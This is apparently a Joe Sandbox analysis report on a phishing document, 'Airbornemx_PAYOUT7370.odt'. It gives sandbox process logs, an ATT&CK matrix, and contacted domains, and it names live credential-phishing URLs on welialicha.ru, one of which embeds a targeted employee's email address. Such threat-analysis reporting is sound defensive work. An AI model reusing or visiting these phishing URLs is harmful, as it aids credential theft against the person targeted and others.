Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=1944,i,4028111048083662025,7617225980983569165,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru/388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR	0%	Avira URL Cloud	safe
https://OE3.welialicha.ru/xffUffYo/#Ktom.walker	0%	Avira URL Cloud	safe
https://oe3.welialicha.ru/favicon.ico	0%	Avira URL Cloud	safe
https://oe3.welialicha.ru/xffUffYo/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
oe3.welialicha.ru	188.114.96.3	true	true	unknown
www.google.com	142.250.185.68	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru	188.114.96.3	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
www.office.com	unknown	unknown	false	high
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oe3.welialicha.ru/xffUffYo/	true	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638718563183389446.ZjAyNjIzMTMtNmU0YS00M2QyLTgwNjktNTNhZjAzNDY3NjM2M2Q0ODZiMDgtZjUxZi00YjQ0LWI3YjUtZjc4Mzg3MTJkZmU1&ui_locales=en-US&mkt=en-US&client-request-id=adcaaf7d-be47-4d4f-8eb4-64b75bf6f377&state=KP5iZRhR5Qbi6PzixM9mxYBAb2o56h94xssyQYOvX4Ady6Tr_-qir0trS7WWUfAoaSeJnISM2zBNLJWP2GOzo8xrTUmtmznUHfzjibT5jf8dYxkrFz0bCkhbPHvUtUIJjIJKF1LHYqrU0vLmtKtz2EeaAtfRXj7daIYrAMFEI9nXtERKOCjI1WoSSP7fh13Xfs-r43ENlDdIlWCN6iSxJpLcRx7qrPTvvwWxdsaPteHra4sAq7W3DhAIXjhKzYu35SZn1Q10d0RL4ic5aJGMRA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru/388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR	false	Avira URL Cloud: safe	unknown
https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fe493bb0e5e18d0&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8fe493bb0e5e18d0/1736259508183/SdYw6k5f8d6TCYd	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2	false		high
https://oe3.welialicha.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8fe493bb0e5e18d0/1736259508185/05de02faa82077d6543a655cf4f5e19ddd06fcf3d6e3e29bceb7ce01fc9098eb/DRsF-H2qQAaMher	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/ns/office/1.2/meta/pkg#	manifest.rdf	false		high
http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document	manifest.rdf	false		high
https://github.com/douglascrockford/JSON-js	chromecache_125.12.dr, chromecache_122.12.dr	false		high
http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile	manifest.rdf	false		high
https://login.windows-ppe.net	chromecache_104.12.dr, chromecache_112.12.dr	false		high
http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile	manifest.rdf	false		high
https://login.microsoftonline.com	chromecache_104.12.dr, chromecache_112.12.dr	false		high
https://OE3.welialicha.ru/xffUffYo/#Ktom.walker	content.xml	false	Avira URL Cloud: safe	unknown
http://feross.org	chromecache_125.12.dr, chromecache_122.12.dr	false		high
http://openoffice.org/2004/office	meta.xml	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	oe3.welialicha.ru	European Union	13335	CLOUDFLARENETUS	true
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585363
Start date and time:	2025-01-07 15:17:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Airbornemx_PAYOUT7370.odt
Detection:	MAL
Classification:	mal56.winODT@20/77@36/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .odt

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
